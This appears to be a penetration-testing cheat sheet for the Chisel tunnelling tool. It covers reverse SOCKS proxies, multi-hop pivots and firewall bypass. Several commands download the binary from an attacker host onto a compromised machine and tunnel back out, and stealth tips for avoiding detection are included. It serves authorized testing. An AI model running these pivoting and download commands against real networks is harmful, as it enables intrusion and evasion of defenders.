CHISEL
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Chisel is a fast TCP/UDP tunnel over HTTP, secured via SSH. Essential for pivoting and bypassing firewalls during engagements.
INSTALLATION#
# Download binary # https://github.com/jpillora/chisel/releases # Go install go install github.com/jpillora/chisel@latest
BASIC CONCEPTS#
# Server: Runs on attacker machine (or pivot host) # Client: Runs on compromised host # Traffic flow: # Target <-> Chisel Client <-> Chisel Server <-> Attacker
SERVER MODE#
BASIC SERVER#
# Start server on attacker machine chisel server -p 8080 # With reverse port forwarding enabled chisel server -p 8080 --reverse # With authentication chisel server -p 8080 --auth user:password # Background with logging chisel server -p 8080 --reverse > chisel.log 2>&1 &
SERVER OPTIONS#
--port, -p Listening port --host Listening host (default: 0.0.0.0) --reverse Allow reverse tunnels --auth User:password authentication --keepalive Keepalive interval --key Private key for TLS --tls-cert TLS certificate --tls-key TLS key --backend HTTP backend for camouflage
CLIENT MODE#
BASIC CLIENT#
# Connect to server chisel client SERVER_IP:8080 TUNNELS # With authentication chisel client --auth user:password SERVER_IP:8080 TUNNELS
PORT FORWARDING (LOCAL)#
# Forward local port to remote # Access localhost:8001 -> target:80 chisel client SERVER:8080 8001:TARGET:80 # Multiple forwards chisel client SERVER:8080 8001:TARGET1:80 8002:TARGET2:443 # Forward to localhost on target chisel client SERVER:8080 8001:127.0.0.1:3389
REVERSE PORT FORWARDING#
# Server must have --reverse flag # Opens port on SERVER that forwards to target # R: prefix for reverse chisel client SERVER:8080 R:9001:127.0.0.1:80 # Attacker accesses SERVER:9001 -> Client:80 chisel client SERVER:8080 R:9001:localhost:80 # Reverse to any host from client network chisel client SERVER:8080 R:9001:INTERNAL_HOST:445
SOCKS PROXY#
# Create SOCKS5 proxy on server chisel client SERVER:8080 R:1080:socks # On attacker, use socks proxy at SERVER:1080 proxychains nmap -sT TARGET # Local SOCKS proxy chisel client SERVER:8080 1080:socks
COMMON SCENARIOS#
SCENARIO 1: ACCESS INTERNAL WEB SERVER#
# Attacker has shell on TARGET1 # TARGET1 can reach INTERNAL_WEB:80 # On attacker: chisel server -p 8080 --reverse # On TARGET1: chisel client ATTACKER:8080 R:8001:INTERNAL_WEB:80 # Access: http://ATTACKER:8001
SCENARIO 2: SOCKS PROXY FOR PIVOTING#
# Attacker has shell on pivot host # Want to scan internal network # On attacker: chisel server -p 8080 --reverse # On pivot: chisel client ATTACKER:8080 R:1080:socks # On attacker, configure proxychains: # /etc/proxychains.conf: socks5 127.0.0.1 1080 # Use: proxychains nmap -sT -Pn INTERNAL_RANGE proxychains evil-winrm -i INTERNAL_HOST -u user -p pass
SCENARIO 3: DOUBLE PIVOT#
# Attacker -> Pivot1 -> Pivot2 -> Target # On attacker: chisel server -p 8080 --reverse # On Pivot1: chisel client ATTACKER:8080 R:9001:socks chisel server -p 9002 --reverse # On Pivot2: chisel client PIVOT1:9002 R:9003:TARGET:445 # Chain proxychains
SCENARIO 4: BYPASS FIREWALL (OUTBOUND)#
# Target can only reach internet on 443 # On attacker (with valid SSL): chisel server -p 443 --reverse # On target: chisel client ATTACKER:443 R:1080:socks # Or use HTTP over port 80 chisel server -p 80 --reverse
WINDOWS USAGE#
# Transfer chisel.exe to target certutil -urlcache -f http://ATTACKER/chisel.exe chisel.exe # Or PowerShell IWR -Uri http://ATTACKER/chisel.exe -OutFile chisel.exe # Run .\chisel.exe client ATTACKER:8080 R:1080:socks # Background (PowerShell) Start-Process -NoNewWindow .\chisel.exe -ArgumentList "client","ATTACKER:8080","R:1080:socks"
LINUX USAGE#
# Download wget http://ATTACKER:8000/chisel chmod +x chisel # Background ./chisel client ATTACKER:8080 R:1080:socks & # Nohup nohup ./chisel client ATTACKER:8080 R:1080:socks &
ADVANCED OPTIONS#
TLS/HTTPS#
# Server with TLS chisel server -p 443 --tls-cert cert.pem --tls-key key.pem --reverse # Client connecting to TLS chisel client https://SERVER:443 R:1080:socks # Skip TLS verify chisel client --tls-skip-verify https://SERVER:443 R:1080:socks
FINGERPRINT VERIFICATION#
# Server shows fingerprint on start # Client can verify: chisel client --fingerprint FINGERPRINT SERVER:8080 TUNNEL
KEEPALIVE#
# Maintain connection chisel server -p 8080 --keepalive 30s chisel client SERVER:8080 --keepalive 30s R:1080:socks
HOSTNAME HEADER#
# Set host header (useful for reverse proxies) chisel client --hostname example.com SERVER:8080 TUNNEL
USING WITH PROXYCHAINS#
# /etc/proxychains4.conf [ProxyList] socks5 127.0.0.1 1080 # Usage proxychains nmap -sT -Pn TARGET proxychains curl http://INTERNAL proxychains ssh user@INTERNAL proxychains evil-winrm -i TARGET -u user -p pass proxychains crackmapexec smb INTERNAL_RANGE
STEALTH TIPS#
# Use common ports (80, 443, 8080) # Use TLS when possible # Limit traffic patterns # Use authentication
TROUBLESHOOTING#
# Test connectivity curl http://SERVER:8080 # Check if listening netstat -tlnp | grep chisel ss -tlnp | grep chisel # Verbose mode chisel client -v SERVER:8080 TUNNEL # Check firewall iptables -L -n
ALTERNATIVES#
# ligolo-ng - Agent-based tunneling # ssh - SSH tunneling # socat - Socket relay # plink - PuTTY Link # proxychains - Proxy wrapper # sshuttle - VPN over SSH
QUICK REFERENCE#
# Server (attacker) chisel server -p 8080 --reverse # Client - Reverse SOCKS proxy chisel client ATTACKER:8080 R:1080:socks # Client - Reverse port forward chisel client ATTACKER:8080 R:LOCAL_PORT:TARGET:REMOTE_PORT # Client - Local port forward chisel client ATTACKER:8080 LOCAL_PORT:TARGET:REMOTE_PORT # With auth chisel server -p 8080 --reverse --auth user:pass chisel client --auth user:pass ATTACKER:8080 R:1080:socks